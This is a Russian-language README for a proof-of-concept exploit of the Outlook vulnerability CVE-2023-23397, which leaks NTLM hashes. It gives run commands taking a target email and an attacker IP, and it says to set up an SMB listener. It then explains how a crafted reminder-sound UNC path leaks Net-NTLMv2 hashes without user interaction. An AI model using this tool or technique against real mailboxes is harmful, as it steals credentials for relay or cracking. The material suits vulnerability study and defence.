CVE-2023-23397 Доказательство концепции

Это эксплойт доказательства концепции (PoC) для CVE-2023-23397, уязвимости в клиенте Windows Microsoft Outlook.

Предварительные требования

• Python 3
• пакет pywin32

Как использовать

Windows

1. Установите необходимый пакет pywin32, выполнив pip install pywin32.
2. Запустите скрипт следующей командой: python Exploit.py <save_or_send> <target_email> <attacker_ip>.

Kali Linux

1. Установите необходимый пакет pywin32, выполнив pip install pywin32.
2. Запустите SMB-сервер на атакующей машине, например, модуль SMB от Metasploit.
3. Запустите скрипт следующей командой: python Exploit.py <save_or_send> <target_email> <attacker_ip>.

Параметры

• <save_or_send>: Выберите между «save» или «send». «save» сохранит вредоносное письмо в файл, а «send» отправит письмо напрямую цели.
• <target_email>: Адрес электронной почты целевого пользователя.
• <attacker_ip>: IP-адрес SMB-сервера атакующего.

CVE-2023-23397 Обзор высокого уровня

Это обзор высокого уровня CVE-2023-23397, уязвимости в клиенте Windows Microsoft Outlook.

Описание

CVE-2023-23397 — это уязвимость, которая позволяет злоумышленнику создать вредоносное письмо, которое при обработке клиентом Outlook автоматически сливает хэши Net-NTLMv2 целевого пользователя. Для запуска эксплойта не требуется взаимодействия с пользователем. Слитые хэши могут быть использованы для атак ретрансляции или для взлома базовых учетных данных.

Уязвимость существует из-за того, как Outlook обрабатывает свойство PidLidReminderFileParameter в email-сообщениях. Это свойство позволяет отправителю сообщения установить собственный звук уведомления для таких элементов, как уведомления о встречах. Создавая сообщение с пользовательским свойством PidLidReminderFileParameter, содержащим путь в формате UNC, указывающий на SMB-сервер, контролируемый атакующим, злоумышленник может заставить клиент Outlook цели сливать хэши Net-NTLMv2 при подключении к SMB-серверу.

Шаги атаки

1. Злоумышленник создает вредоносное письмо с пользовательским свойством PidLidReminderFileParameter, содержащим UNC-путь, указывающий на его SMB-сервер.
2. Целевой пользователь получает письмо в своем клиенте Outlook.
3. Outlook обрабатывает письмо и пытается получить пользовательский файл звука уведомления, указанный в свойстве PidLidReminderFileParameter.
4. Когда Outlook подключается к SMB-серверу, контролируемому атакующим, он сливает хэши Net-NTLMv2 целевого пользователя.
5. Затем злоумышленник может использовать слитые хэши для атак ретрансляции на другие системы, поддерживающие NTLMv2, или попытаться взломать хэши, чтобы получить исходные учетные данные в открытом виде.

Использование эксплойта

Предоставленный скрипт эксплойта доказательства концепции (PoC) генерирует вредоносное письмо с пользовательским свойством PidLidReminderFileParameter и либо сохраняет его в файл, либо отправляет напрямую на целевой адрес электронной почты. Атакующему необходимо настроить SMB-сервер для захвата слитых хэшей Net-NTLMv2.

Примечание

Этот обзор высокого уровня предназначен только для образовательных целей. Понимание уязвимости и ее воздействия может помочь улучшить практики безопасности и разработать эффективные защиты от подобных атак.